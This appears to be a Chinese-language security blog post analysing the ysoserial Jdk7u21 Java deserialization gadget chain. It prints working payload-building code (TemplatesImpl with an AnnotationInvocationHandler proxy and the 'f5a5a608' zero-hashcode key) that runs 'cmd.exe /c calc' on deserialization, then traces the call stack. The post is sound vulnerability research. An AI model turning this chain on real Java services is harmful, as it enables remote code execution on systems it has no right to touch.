ysoserial学习之Jdk7u21

2021-05-02

前言

由于最近h.v.v期间爆出了weblogic关于jdk7u21的绕过，因此准备学习一下这个链。

实验环境:jdk7u17、ysoserial源码

代码分析

首先创建一个类，模拟使用jdk7u21进行序列化和反序列化的过程

public class jdk17Gadgat {
    public static void main(String args[]) throws Exception {
        Jdk7u21 jdk7u21=new Jdk7u21();
        Object jdk7u21Object =jdk7u21.getObject("cmd.exe /c calc");
        FileOutputStream fileOutputStream=new FileOutputStream(new File("out"));
        ObjectOutputStream objectOutputStream=new ObjectOutputStream(fileOutputStream);
        objectOutputStream.writeObject(jdk7u21Object);

        FileInputStream fileInputStream=new FileInputStream(new File("out"));
        ObjectInputStream objectInputStream=new ObjectInputStream(fileInputStream);
        objectInputStream.readObject();
    }
}

关键的jdk7u21.getObject(final String command)方法如下

public Object getObject(final String command) throws Exception {
		final Object templates = Gadgets.createTemplatesImpl(command);

		String zeroHashCodeStr = "f5a5a608";

		HashMap map = new HashMap();
		map.put(zeroHashCodeStr, "foo");

		InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
		Reflections.setFieldValue(tempHandler, "type", Templates.class);
		Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);

		LinkedHashSet set = new LinkedHashSet(); // maintain order
		set.add(templates);
		set.add(proxy);

		Reflections.setFieldValue(templates, "_auxClasses", null);
		Reflections.setFieldValue(templates, "_class", null);

		map.put(zeroHashCodeStr, templates); // swap in real object

		return set;
	}

可以看到最后还是调用了TemplatesImpl进行命令执行的，因此我们直接在com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl中的newTransformer()方法中下断点

直接debug

顺着堆栈找之前的调用过程，看是如何一步步的到我们打到断点的那个语句的，只要走到我们打断点的那个语句，命令执行就等于成功了。找到Hashset的readObject的那条堆栈，发现是从map.put(方法进入的)。

此时的e，为javax.xml.transform.Templates的动态代理，而这个动态代理类的InvocationHandler的memberValues的值为f5a5a608 -> {TemplatesImpl@761}

接下来回到我们的map.put的下一步继续看

调用了key.equals，key即为上一步的e，调用proxy类型的任何方法，都会先调用其Invocation的invoke方法。

最后调用到euqalsImpl方法，在这个方法中，遍历所有AnnotationInvocationHandler.this.type.getDeclaredMethods()中的方法，然后逐个调用，最后调用到com.sun.org.apache.xalan.internal.xsltc.trax的newTransformer()方法，触发命令执行。